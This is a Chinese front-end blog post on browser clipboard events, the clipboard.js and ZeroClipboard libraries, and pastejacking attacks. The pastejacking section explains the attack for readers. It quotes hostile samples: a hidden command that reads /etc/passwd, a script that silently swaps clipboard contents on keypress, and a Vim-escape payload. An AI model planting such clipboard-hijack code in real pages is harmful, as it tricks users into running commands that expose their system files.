摘要:直到的到來(lái),將剪貼板相關(guān)事件納入了規(guī)范。但是,在和中,只有在處理剪貼板事件期間,對(duì)象才有效,這是為了防止對(duì)剪貼板的未授權(quán)訪問(wèn)在中,則可以隨時(shí)訪問(wèn)對(duì)象。
Introduction Clipboard API本部分系列文章Github Repo
HTML5實(shí)戰(zhàn)與剖析之剪貼板事件
IE是最早支持與剪貼板相關(guān)的事件,以及通過(guò)JavaScript訪問(wèn)剪貼板數(shù)據(jù)的瀏覽器。 IE的實(shí)現(xiàn)成為了事實(shí)上的標(biāo)準(zhǔn),隨后Firefox 3+ 、 Chrome和Safari 2+都支持類似的事件和剪貼板的訪問(wèn),但是Opera不支持通過(guò)JavaScript訪問(wèn)剪貼板。直到HTML5的到來(lái),將剪貼板相關(guān)事件納入了 HTML5規(guī)范。
數(shù)據(jù)訪問(wèn)要訪問(wèn)剪貼板中的數(shù)據(jù),可以通過(guò)clipboardData對(duì)象:在IE中,clipboardData對(duì)象是window對(duì)象的屬性;而在 Chrome、Safari和Firefox 4+中,clipboardData對(duì)象是相應(yīng)event對(duì)的屬性。但是,在Chrome、Safari和Firefox 4+中,只有在處理剪貼板事件期間,clipboardData對(duì)象才有效,這是為了防止對(duì)剪貼板的未授權(quán)訪問(wèn);在IE中,則可以隨時(shí)訪問(wèn) clipboardData對(duì)象。為了確??鐬g覽器兼容,最好只在發(fā)生剪貼板事件期間使用這個(gè)對(duì)象。
//獲取剪貼板數(shù)據(jù)方法 function getClipboardText(event){ var clipboardData = event.clipboardData || window.clipboardData; return clipboardData.getData("text"); }; //設(shè)置剪貼板數(shù)據(jù) function setClipboardText(event, value){ if(event.clipboardData){ return event.clipboardData.setData("text/plain", value); }else if(window.clipboardData){ return window.clipboardData.setData("text", value); } };
這個(gè)clipboardData對(duì)象有三個(gè)方法:getData()方法、setData()方法和clearData()方法。其中,getData()方法用于從剪貼板中獲取數(shù)據(jù),它接收一個(gè)參數(shù),即要取得的數(shù)據(jù)格式。在IE中,有兩種數(shù)據(jù)格式:’text”和”URL”。在Chrome、Safari和Firefox 4+中,這個(gè)參數(shù)是一種MIME類型;不過(guò),可以用”text”代表”text/plain”。setData()方法的第一個(gè)參數(shù)也是數(shù)據(jù)類型,第二個(gè)參數(shù)是要放在剪貼板中的文字。對(duì)于第一個(gè)參數(shù),IE照樣是支持”text”和”URL”,而在Chrome、Safari中,仍然支持MIME類型。但是與getData()方法不同的是,在Chrome、Safari中的setData()方法不能識(shí)別”text”類型。這兩個(gè)瀏覽器在成功將文本放到剪貼板中后,都會(huì)返回true;否則返回false。好了說(shuō)了這么多,就來(lái)看下面的小例子吧。
事件監(jiān)控下面就是6個(gè)剪貼板事件。
beforecopy:在發(fā)生復(fù)制操作前觸發(fā);
copy:在發(fā)生復(fù)制操作的時(shí)候觸發(fā);
beforecut:在發(fā)生剪切操作前觸發(fā);
cut:在發(fā)生剪切操作的時(shí)候觸發(fā);
beforepaste:在發(fā)生粘貼操作前觸發(fā);
paste:在發(fā)生粘貼操作的時(shí)候觸發(fā)。
在Firefox、Chrome和Safari中,beforecopy、beforecut和beforepaste事件只會(huì)在顯示針對(duì)文本框的上下文 菜單(預(yù)期將發(fā)生剪貼板事件)的情況下觸發(fā)。但是IE則會(huì)在觸發(fā)copy、cut和paste事件之前先觸發(fā)這些事件。至于copy、cut和paste 事件,只要是在上下文菜單(右鍵菜單)中選擇了相應(yīng)選項(xiàng),或者使用了相應(yīng)的鍵盤(pán)組合鍵如(ctrl+v),所有瀏覽器都會(huì)觸發(fā)他們。這里以beforecopy為例:
Select some text on this page and press CTRL + C!clipboardjs:基于Selection與execCommand的便捷封裝
與標(biāo)準(zhǔn)的Clipboard API相比,clipboardjs具有相對(duì)較好地兼容性與易用性,它的瀏覽器適用范圍是:
筆者實(shí)機(jī)測(cè)試過(guò)部分Android 4.0+與iOS 8+的移動(dòng)設(shè)備,還是可以使用的。
Installation & Setup可以基于npm安裝:
npm install clipboard --save
或者基于bower安裝:
bower install clipboard --save
安裝之后直接引入即可:
Basic Usage
注意,所有的Clipboard初始化時(shí)候都需要傳入一個(gè)DOM元素,然后基于H5的data-*屬性來(lái)控制待操作的對(duì)象,譬如:
new Clipboard(".btn");
這樣就建立了基本的拷貝操作,如果是需要進(jìn)行剪切操作的話:
也可以直接復(fù)制一些屬性:
Event
clipboardjs也為我們?cè)O(shè)置了一些在調(diào)用前后的監(jiān)聽(tīng)事件,最常用的就是success與error事件:
var clipboard = new Clipboard(".btn"); clipboard.on("success", function(e) { console.info("Action:", e.action); console.info("Text:", e.text); console.info("Trigger:", e.trigger); e.clearSelection(); }); clipboard.on("error", function(e) { console.error("Action:", e.action); console.error("Trigger:", e.trigger); });Advanced Usage
如果你希望利用代碼動(dòng)態(tài)控制目標(biāo)元素和文本內(nèi)容,clipboardjs也提供了一系列易用的API,你要做的就是按照規(guī)范聲明方程。譬如,如果你想要?jiǎng)討B(tài)設(shè)置操作目標(biāo)target,可以直接返回一個(gè)Node節(jié)點(diǎn):
new Clipboard(".btn", { target: function(trigger) { return trigger.nextElementSibling; } });
如果想要?jiǎng)討B(tài)設(shè)置文本內(nèi)容,可以返回一個(gè)String:
new Clipboard(".btn", { text: function(trigger) { return trigger.getAttribute("aria-label"); } });
另外,如果你是一個(gè)單頁(yè)應(yīng)用,可以利用destroy來(lái)在DOM的生命周期中進(jìn)行控制:
var clipboard = new Clipboard(".btn"); clipboard.destroy();ZeroClipboard:基于Flash的剪貼板控制
ZeroClipboard是只要在能夠使用Flash的地方就可以使用,如果碰上Flash被禁止了的就歇菜了。現(xiàn)在不是很建議使用,不過(guò)在某些需要兼容的老版本瀏覽器上可以考慮:
// main.js var client = new ZeroClipboard( document.getElementById("copy-button") ); client.on( "ready", function( readyEvent ) { // alert( "ZeroClipboard SWF is ready!" ); client.on( "aftercopy", function( event ) { // `this` === `client` // `event.target` === the element that was clicked event.target.style.display = "none"; alert("Copied text to clipboard: " + event.data["text/plain"] ); } ); } );Pastejacking:復(fù)制劫持
筆者也是最近看到了Github上的這篇關(guān)于復(fù)制劫持的文章,才打算把之前的網(wǎng)頁(yè)剪貼板相關(guān)的東西整理下發(fā)出來(lái)。瀏覽器允許開(kāi)發(fā)者能夠自主地控制用戶剪貼板,不過(guò)這樣也就導(dǎo)致了部分惡意網(wǎng)頁(yè)可能引導(dǎo)用戶無(wú)意間執(zhí)行惡意代碼。最常見(jiàn)的就是譬如你瀏覽某個(gè)教程網(wǎng)站,上面提示你輸入以下命令:
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
作為資深懶貨,我肯定選擇復(fù)制粘貼啦,然后我就Happy的Ctrl+C,然后我驚訝的發(fā)現(xiàn)自己的剪貼板里的內(nèi)容變成了:
git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d " ";echo -e "! That was a bad idea. Don"""""t copy code from websites you don"""""t trust! Here"""""s the first line of your /etc/passwd: ";head -n1 /etc/passwd git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
這種攻擊方法還是基于典型的HTML/CSS隱藏屬性,在開(kāi)發(fā)者工具中查看DOM樹(shù)可以發(fā)現(xiàn),在我們看不見(jiàn)的地方放了這些東西:
當(dāng)我們選定復(fù)制的時(shí)候,其實(shí)是把那些隱藏的部分全部選上了。而我們這邊要討論的剪貼板劫持攻擊跟這個(gè)的效果很類似,只不過(guò)剪貼板劫持攻擊會(huì)更讓你防不勝防一點(diǎn),它可以在你任何一個(gè)點(diǎn)擊事件后觸發(fā),并且可以控制將一些十六進(jìn)制字符復(fù)制進(jìn)去,有時(shí)候還能用來(lái)干掉你的Vim,還是先看一個(gè)例子:
可以看出這次沒(méi)有隱藏DOM元素,但是當(dāng)我們復(fù)制了之后,得到的卻是:
touch ~/.evil clear echo "not evil"
這次是因?yàn)樗恿诉@么個(gè)控制腳本:
function copyTextToClipboard(text) { var textArea = document.createElement("textarea"); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if // the textarea element is not visible. // // The likelihood is the element won"t even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position. textArea.style.position = "fixed"; textArea.style.top = 0; textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn"t work as this gives a negative w/h on some browsers. textArea.style.width = "2em"; textArea.style.height = "2em"; // We don"t need padding, reducing the size if it does flash render. textArea.style.padding = 0; // Clean up any borders. textArea.style.border = "none"; textArea.style.outline = "none"; textArea.style.boxShadow = "none"; // Avoid flash of white box if rendered for any reason. textArea.style.background = "transparent"; textArea.value = text; document.body.appendChild(textArea); textArea.select(); try { var successful = document.execCommand("copy"); var msg = successful ? "successful" : "unsuccessful"; console.log("Copying text command was " + msg); } catch (err) { console.log("Oops, unable to copy"); } document.body.removeChild(textArea); } document.addEventListener("keydown", function(event) { var ms = 800; var start = new Date().getTime(); var end = start; while(end < start + ms) { end = new Date().getTime(); } copyTextToClipboard("touch ~/.evil clear echo "not evil""); });
防不勝防啊。這東西就好像當(dāng)年某些釣魚(yú)網(wǎng)站讓你亂下一些PE病毒一樣,并沒(méi)有直接的解決方案,最好的防護(hù)方式就是以后你復(fù)制命令到終端的時(shí)候仔細(xì)瞅瞅,或者先復(fù)制到一個(gè)第三方的編輯器內(nèi)看看有沒(méi)有啥奇怪的命令。不過(guò)別用Vim作為驗(yàn)證,譬如如下的攻擊方式:
copyTextToClipboard("echo "evil" x1b:!cat /etc/passwd ");
它會(huì)利用Vim的Macro來(lái)獲取你的用戶密碼等。如果你用的是ITerm,它會(huì)提醒你那些自動(dòng)利用換行來(lái)執(zhí)行的命令:
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/79543.html
摘要:異步剪貼板操作過(guò)去的數(shù)年中,各瀏覽器基本上都在使用來(lái)進(jìn)行剪貼板交互。而提供了新的,則為我們提供了另一種異步式的剪貼板操作方式,本文即是對(duì)該機(jī)制與接口規(guī)范的詳細(xì)介紹。 showImg(https://segmentfault.com/img/remote/1460000013854167); 前端每周清單第 55 期: MobX 4 特性概覽,iOS Hacks 分享, 分布式事務(wù)詳解 ...
摘要:盡管這樣,我們還沒(méi)有形成很多的安全準(zhǔn)則。在這篇文章中,我會(huì)分享一些關(guān)于提高安全性方面的技巧。注跨站腳本攻擊發(fā)生這種情況時(shí),攻擊者注入可執(zhí)行代碼的響應(yīng)。這樣可能會(huì)被跨站點(diǎn)腳本攻擊。 毫無(wú)疑問(wèn),Node.js現(xiàn)在是越來(lái)越成熟。盡管這樣,我們還沒(méi)有形成很多的安全準(zhǔn)則。 在這篇文章中,我會(huì)分享一些關(guān)于提高Node.js安全性方面的技巧。 不用eval,贏得朋友 你不僅僅要避免使用eval ...
摘要:前言本篇文章是基礎(chǔ)知識(shí)的篇,如果前面的基礎(chǔ)知識(shí)入門(mén)篇看完了,現(xiàn)在就可以學(xué)習(xí)了?;靖拍罘譃槿齻€(gè)部分。在這個(gè)基礎(chǔ)上使用一些新特性,高級(jí)瀏覽器支持,低級(jí)瀏覽器不支持。在對(duì)象中的屬性是一個(gè)布爾值,只有和。 showImg(https://segmentfault.com/img/remote/1460000012581493?w=1920&h=1080); DOM 前言 本篇文章是JavaS...
摘要:由于我們的富文本輸入框比較簡(jiǎn)單,所以只需要處理兩類數(shù)據(jù)即可,其一是普通的文本類型數(shù)據(jù),包括表情其二則是圖片類型數(shù)據(jù)。 最近折騰 Websocket,打算開(kāi)發(fā)一個(gè)聊天室應(yīng)用練練手。在應(yīng)用開(kāi)發(fā)的過(guò)程中發(fā)現(xiàn)可以插入 emoji ,粘貼圖片的富文本輸入框其實(shí)蘊(yùn)含著許多有趣的知識(shí),于是便打算記錄下來(lái)和大家分享。 倉(cāng)庫(kù)地址:chat-input-box預(yù)覽地址:https://codepen.io...
閱讀 2324·2021-11-22 12:01
閱讀 2000·2021-11-12 10:34
閱讀 4526·2021-09-22 15:47
閱讀 2837·2019-08-30 15:56
閱讀 2870·2019-08-30 15:53
閱讀 2411·2019-08-30 13:53
閱讀 3387·2019-08-29 15:35
閱讀 3132·2019-08-29 12:27